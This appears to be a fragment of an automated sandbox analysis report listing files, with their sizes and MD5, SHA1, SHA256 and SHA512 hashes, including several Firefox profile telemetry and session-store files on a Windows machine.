MD5a9b1f25d0f11209001ce22a15cd4b840
SHA1d51a5d75798c0ff6653c11fa9c2adcea015ab28e
SHA25683cbd3a0884f1b4efa4b16d552ea7a23a319ed0de38d09c766e11bc53853c801
SHA51250159644ff47eafe3972816e744a53b39e2697c358059ec70279448fbd0c77c00690a9fcb7e36884f94e583535d5b371d0fbb525bd708a8c4499f275e17c1c78
-
Filesize
116KB
MD53e6225d73038086a8310a6505b2cb110
SHA125fa1c169e1792059d945772096a42bf743840c3
SHA25637e8fa3ebf7882b093d06de4b6a2c4cb9c24989965a1620b7c2c22727e5a18ef
SHA512313b4fc9969d5a006356f99cef61a92eeb0168d623b95d53e2799d27666daf5e644822167effd36ef9cf061624991f1b919c7fefc7781497ac58baa8ddef21d4
-
Filesize
101KB
MD50e21b826594334c25143caaf8a9d8168
SHA106f2a1b2fc68358a67e00cd92f948aa872c5b855
SHA2564fcdc232374981fdb8b71068b99d39eddee3ffdecbc0790f69ae0817ab1b1c40
SHA512a8b498c690800e32946ba87f760c05cc8616e66d6dc838ae73ae90da0359873a1410b141bbb04fea7188f40b73e1b83afded37d5df6c05e68ffdb227cbbe2578
-
Filesize
2B
MD599914b932bd37a50b983c5e7c90ae93b
SHA1bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA25644136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
SHA51227c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
-
Filesize
425B
MD5fff5cbccb6b31b40f834b8f4778a779a
SHA1899ed0377e89f1ed434cfeecc5bc0163ebdf0454
SHA256b8f7e4ed81764db56b9c09050f68c5a26af78d8a5e2443e75e0e1aa7cd2ccd76
SHA5121a188a14c667bc31d2651b220aa762be9cce4a75713217846fbe472a307c7bbc6e3c27617f75f489902a534d9184648d204d03ee956ac57b11aa90551248b8f9
-
Filesize
847B
MD566a0a4aa01208ed3d53a5e131a8d030a
SHA1ef5312ba2b46b51a4d04b574ca1789ac4ff4a6b1
SHA256f0ab05c32d6af3c2b559dbce4dec025ce3e730655a2430ade520e89a557cace8
SHA512626f0dcf0c6bcdc0fef25dc7da058003cf929fd9a39a9f447b79fb139a417532a46f8bca1ff2dbde09abfcd70f5fb4f8d059b1fe91977c377df2f5f751c84c5c
-
Filesize
3KB
MD5bb925cc5c32a817b61b5a68f00475ac2
SHA1368bbcd93d46036334f385fe80a6315130a873f4
SHA256cab89442f228f263a88d3db648093b2389fa2676ee3f95fccdd7c9574a8e1c11
SHA51269688f4277b0dfdeca560166776ecc74ae2933d6808e849ac60e0eb2310333d37e6216edb23737459a0e2395594a1cd579bccd008499e08526393d96315b4634
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
900.4MB
MD5f272dda81864a6197c81fb852223cd0b
SHA18b8ae9324d66eb71fac56312f6a7413bea044752
SHA256cc3553f01e597b0608ae592ecbae7f4866d65b16aea160bbcc6a8fe8508ea5d6
SHA5124bfd18c949ec5fd046a554491b7adcdac1c56f667a35c9ad3cb7a0454c7e324e92fad67b507c7e77a1525d7562d890f9e5fe804b0639666393c13a46b2c200dc
-
Filesize
905KB
MD5dd1313842898ffaf72d79df643637ded
SHA193a34cb05fdf76869769af09a22711deea44ed28
SHA25681b27a565d2eb4701c404e03398a4bca48480e592460121bf8ec62c5f4b061df
SHA512db8cdcbfca205e64f1838fc28ea98107c854a4f31f617914e45c25d37da731b876afc36f816a78839d7b48b3c2b90f81856c821818f27239a504ab4253fe28f9
-
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6m8kj4bi.default-release\datareporting\glean\db\data.safe.bin
Filesize2KB
MD5bfe10c5f772008437dc82e67add2eb09
SHA1de11d538d378fb19b9684188313070a2db4bd873
SHA256276eb01825be8aca3168be32990aef56d482eedc6060bac0c8a41d3e54f33849
SHA5122e5a689035756c21604cac3d0e8e17e3af60dc9234bea210be37104866bc0c05b1f63e7d455d41d671f6c68d2a6c38da3d1b16248d3a2567a8ac46747c8a29b4
-
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6m8kj4bi.default-release\datareporting\glean\pending_pings\277d8468-caf5-4723-b407-fd75c4160c72
Filesize11KB
MD5b3abedd37f26323b9c16f67bb40e024a
SHA1d73239f63558584dc0099bb4d491ebc295f94dc5
SHA256ad0e07d596c61bfa8b7fa11d078aa2fde67374f4ef9ec058b149ce4ecc0de1c7
SHA512a44f695bc17bca8246ff438c5602518ab06ee9212f5a77eeb902660101b48ddfd0354964d4a9b9314ae469ef8f0e64f1ecb1bbacab99524cd9b22d7761edbf32
-
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6m8kj4bi.default-release\datareporting\glean\pending_pings\627319f1-9aff-4978-aa9b-1a52d54eb71f
Filesize746B
MD5852fb316123f3acdc858b0f07e722b3d
SHA123cc4eaf4a70a483303f0f24694bf2ada938c80b
SHA256577abcae92f32e515e8d186976fefbb5bc984c21011d3c687e1922a59a20d1d3
SHA512c732aa53918cb22d7b10090a00586a2281fb737a52687b28760ef5a4d812503c2d7fa110752a8b0c6a7854059b5dfd0d5fc968b05c03f7b89f9a6aa535e38503
-
Filesize
6KB
MD533ebea5ce96ff8394fd0b3261ec2d1f7
SHA16fdac682c41af18febd0e7d44ecf8d4e30463f77
SHA2565e76d96a1ea437fa7ed6ffc6979300174036befcf1278b3a36047293fb16bc2c
SHA51200fb5b402f03cf74593c72d32463f4d5a0221357657d1dc3bf60b293604b2bb22e23e485a9cc867f9f53e3e9f603fa3358b319c8bf403be2b763a4936677b610
-
Filesize
6KB
MD5659e2b34447f73f2789314de61c0c3ee
SHA1e46c286876c40b0f544a3550c78314b6d4b52311
SHA256fee6ec49f12e933317bec5f24f2edfd937af66d40699f1f162124a588fe589f8
SHA5124a111df4de66d55dabbab1a824959f7fc1179ed233100e2d728b3cbd6475da3e7c2b8ced6b4c9a47add03ecfd0894f16ccd6b76c66c7ca1b2096932170b53aa1
-
Filesize
6KB
MD5363e9f785090900c1525df9fbe1bf6b1
SHA1e7d95fbd15d92ac228cd8bb4f2a6898957ac11a7
SHA25686698653befebd993042409bd94a2afaf60f3d7be2c163d446a3fb768bcb7095
SHA51274c33ce16c9bc79c6048e91e8d0f179016fe1995f16fe77c19d5352740da3d7ab98ededb0a4a7a4847a84b3d496e99ffdee48c49e2e3f5675eeb3d243b337120
-
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6m8kj4bi.default-release\sessionCheckpoints.json.tmp
Filesize259B
MD5c8dc58eff0c029d381a67f5dca34a913
SHA13576807e793473bcbd3cf7d664b83948e3ec8f2d
SHA2564c22e8a42797f14510228f9f4de8eea45c526228a869837bd43c0540092e5f17
SHA512b8f7c4150326f617b63d6bc72953160804a3749f6dec0492779f6c72b3b09c8d1bd58f47d499205c9a0e716f55fe5f1503d7676a4c85d31d1c1e456898af77b4
-
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6m8kj4bi.default-release\sessionCheckpoints.json.tmp
Filesize53B
MD5ea8b62857dfdbd3d0be7d7e4a954ec9a
SHA1b43bc4b3ea206a02ef8f63d5bfad0c96bf2a3b2a
SHA256792955295ae9c382986222c6731c5870bd0e921e7f7e34cc4615f5cd67f225da
SHA512076ee83534f42563046d25086166f82e1a3ec61840c113aec67abe2d8195daa247d827d0c54e7e8f8a1bbf2d082a3763577587e84342ec160ff97905243e6d19
-
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6m8kj4bi.default-release\sessionstore-backups\recovery.jsonlz4
Filesize3KB
MD5dd3f97efed46847ca38f2fa309ebd400
SHA10ea3ddb5b9622675e4bfff9e323a16add716f259
SHA256b46f69ffe5c89a64b40734497289aa23bcc2cfe212aef4861d46ace03a3597e8
SHA512098a71623e2569e658b2ad14a03522e5b7fb23475023471ee41781f1772155dfc429a0aa66bc2a78f97603fa20db1cc7d3b887588425109651a250c68a7d02a0
-
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6m8kj4bi.default-release\sessionstore.jsonlz4
Filesize4KB
MD5705a50eb84227b15cc5912c47d92a226
SHA1893fc527fe99c8573ec43af7af8e4be0a6b6bc2c
SHA25660a6f72d237555243181fc571611841e1a0c935a8ffb56473ee53ecd2a90c683
SHA5126d88ea01e4fdd4511bccf97dbecd021dd67c1692ae5053a92cbdc0a32ddcea81d3c73a2a05ddf57f41d44bd8055348d061236328778c42c6fe56d174249daea2
-
Filesize
3.1MB
MD5975eca3793d5ec51d4bd4041fe4bd595
SHA1f3b36aad3566d36a81cb8ab11c49e28b8fbb807e
SHA25650a29176f61d2567c67f234d46e2815d0fac1ccd4a6f7577a47133543bff67c3
SHA512af6f4f07bf32b5aae8b2f21b5d8a8a84cb6e72c73745019729240fb2d94d0b45713a05130dbc1feda2543009705e13f915106a168828d624845b20f6fd7f6c89
-
Filesize
2.8MB
MD5160e78de6a5de39a29e3e761217d715e
SHA1135623988ceedbcbb4fcefad6c129499c19f44b2
SHA25620b1fd569317f848664cc50f09777f5ecbebe639f3c5dc0f4dbe92ecd0dc917c
SHA512449a1afc30728fc0b0f15d7c073e8fa77f2fe63b3c8f929d49e4f3d631282d6a7e7f9078f481342a83668a209048182eeb818afe4c5e0c352de0181f5be2eb40
-
Filesize
57KB
MD54b99599c0946da5a5fb5d62aed8c9319
SHA1008c6d784073a5bf9466de026f4baa46abcef253
SHA25621ec1141e55d4c21b89fb4be9e7692bf61681868f17cc78a9e691f44b911157c
SHA5120ec00a4bdcbcd3d28f198e932b24305a2f90d6623d87c0d62af1b35873f02eba51f64ae23b4d15c34a14456cf4fef85d9dc838a0b2290554c3e158ca2b4330f9
-
Filesize
172KB
MD5ca27199cf4415233d9297b430dcf9924
SHA18b21031c8e4a1c5c89c5a70b293cf401b08cb5a4
SHA25671cf21d4e30ae98454b96a451083590210af75bf547df729f178c261a263ff1e
SHA512af5c81a1859a3786baff02aac13057f0261ac697209151ce6b8d39f37115d5a6bd471a9cd348d351382c0dd69a828628cf0b38c49f0b9c9ca498e3de539f16ac